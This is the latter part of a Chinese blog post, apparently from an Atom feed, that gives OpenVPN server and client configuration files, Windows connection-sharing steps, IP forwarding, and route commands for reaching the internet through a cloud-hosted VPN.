class="meta">#通过keepalive检测超时后，重新启动VPN，不重新读取keys，保留第一次使用的keys。</span></span><br><span class="line">persist-tun     <span class="meta">#检测超时后，重新启动VPN，一直保持tun是linkup的。否则网络会先linkdown然后再linkup</span></span><br><span class="line"><span class="keyword">client</span>-config-dir /etc/openvpn/ccd</span><br><span class="line">auth-nocache</span><br><span class="line">cipher AES<span class="number">-256</span>-GCM</span><br><span class="line">ncp-ciphers AES<span class="number">-256</span>-GCM:AES<span class="number">-128</span>-GCM</span><br></pre></td></tr></table></figure><p>二：client.ovpn的配置如下：<br></p><figure class="highlight axapta"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">client</span>                  <span class="meta">#指定当前VPN是客户端</span></span><br><span class="line">dev tun                 <span class="meta">#使用tun隧道传输协议</span></span><br><span class="line">proto tcp               <span class="meta">#使用udp协议传输数据</span></span><br><span class="line">remote <span class="number">43.156</span><span class="number">.116</span><span class="number">.201</span> <span class="number">1198</span> <span class="meta">#openvpn服务器IP地址端口号</span></span><br><span class="line">resolv-<span class="keyword">retry</span> infinite   <span class="meta">#断线自动重新连接，在网络不稳定的情况下非常有用</span></span><br><span class="line">nobind                  <span class="meta">#不绑定本地特定的端口号</span></span><br><span class="line">ca ca.crt               <span class="meta">#指定CA证书的文件路径</span></span><br><span class="line">cert <span class="keyword">client</span>.crt         <span class="meta">#指定当前客户端的证书文件路径</span></span><br><span class="line">key <span class="keyword">client</span>.key          <span class="meta">#指定当前客户端的私钥文件路径</span></span><br><span class="line">verb <span class="number">3</span>                  <span class="meta">#指定日志文件的记录详细级别，可选0-9，等级越高日志内容越详细</span></span><br><span class="line">persist-key     <span class="meta">#通过keepalive检测超时后，重新启动VPN，不重新读取keys，保留第一次使用的keys</span></span><br><span class="line">persist-tun     <span class="meta">#检测超时后，重新启动VPN，一直保持tun是linkup的。否则网络会先linkdown然后再linkup</span></span><br><span class="line">remote-cert-tls <span class="keyword">server</span></span><br><span class="line">auth-nocache</span><br><span class="line">cipher AES<span class="number">-256</span>-GCM</span><br><span class="line">ncp-ciphers AES<span class="number">-256</span>-GCM:AES<span class="number">-128</span>-GCM</span><br></pre></td></tr></table></figure><p>三：验证<br><br>其他步骤都按照教程完成后，右击WiFi图标–打开“网路和Internet设置”–高级网络设置–更改适配器选项<br><br>打开界面后可以看到OpenVPN TAP-Windows6的红色叉×已经没有了<br><br>然后双击自己正在连接的网络，选择“属性”–共享–勾上“允许其他网络用户通过此计算机的Internet连接来连接”以及“允许其他网络用户控制或禁用共享的Internet连接”–家庭网络连接选择“OpenVPN TAP-Windows6”<br>连接成功后，在windows中打开cmd输入外网的公网地址，如果能ping通，配置就是没有问题的，openvpn就搭建成功啦，但是现在还是无法连接外网<br><br>还需要进行路由配置<br></p><p>四：修改了etc&#x2F;sysctl.conf的配置：<br><br><a href="https://www.nuomiphp.com/serverfault/zh/60489accdc3d0204513861e6.html">参考链接</a><br><br>将net.ipv4.ip_forward &#x3D; 0 改成 net.ipv4.ip_forward &#x3D; 1<br></p><p>五：修改路由配置<br><br><a href="https://www.shuzhiduo.com/A/MAzARoQRJ9/">参考连接</a><br><br>我的内网ip是：192.168.8.4<br><br>（腾讯云服务器）外网的ip是：（公）43.156.116.201    （内）10.0.0.7<br></p><p>我在windows端输入的cmd命令是<br><br><code>route delete 0.0.0.0</code><br><br><code>route add 0.0.0.0 mask 0.0.0.0 10.8.0.5 -p</code><br><br><code>route add 192.168.0.0 mask 255.255.255.0 192.168.8.1 -p</code><br></p><p>这里输入的10.8.0.5和192.168.8.1是在server.conf中设置的给客户端分配地址池的网关以及你的内网地址的网关<br><br>具体可以看route print中的Gateway一列,如下：<br></p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Network</span> Destination        Netmask          Gateway       Interface  Metric</span><br><span class="line">          <span class="attribute">0</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">0</span>          <span class="number">0.0.0.0</span>      <span class="number">192.168.8.1</span>      <span class="number">192.168.8.4</span>     <span class="number">55</span></span><br><span class="line">          <span class="attribute">0</span>.<span class="number">0</span>.<span class="number">0</span>.<span class="number">0</span>          <span class="number">0.0.0.0</span>         <span class="number">10.8.0.5</span>         <span class="number">10.8.0.6</span>     <span class="number">26</span></span><br><span class="line">         <span class="attribute">10</span>.<span class="number">8</span>.<span class="number">0</span>.<span class="number">0</span>    <span class="number">255.255.255.0</span>         <span class="number">10.8.0.5</span>         <span class="number">10.8.0.6</span>    <span class="number">281</span></span><br><span class="line">         <span class="attribute">10</span>.<span class="number">8</span>.<span class="number">0</span>.<span class="number">4</span>  <span class="number">255.255.255.252</span>         <span class="literal">On</span>-link          <span class="number">10.8.0.6</span>    <span class="number">281</span></span><br><span class="line">         <span class="attribute">10</span>.<span class="number">8</span>.<span class="number">0</span>.<span class="number">6</span>  <span class="number">255.255.255.255</span>         <span class="literal">On</span>-link          <span class="number">10.8.0.6</span>    <span class="number">281</span></span><br><span class="line">         <span class="attribute">10</span>.<span class="number">8</span>.<span class="number">0</span>.<span class="number">7</span>  <span class="number">255.255.255.255</span>         <span class="literal">On</span>-link          <span class="number">10.8.0.6</span>    <span class="number">281</span></span><br></pre></td></tr></table></figure><p>其中前面两行就是内网和外网的路由信息，上面需要输入的信息就是Gateway列的192.168.8.1和10.8.0.5<br></p><p>至此配置完成，就可以成功连接外网啦</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;购买腾讯云服务器：&lt;a href=&quot;https://blog.csdn.net/SoloVersion/article/details/123854852?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168</summary>
      
    
    
    
    <category term="AI" scheme="http://caixuya.github.io/categories/AI/"/>
    
    
  </entry>
  
</feed>
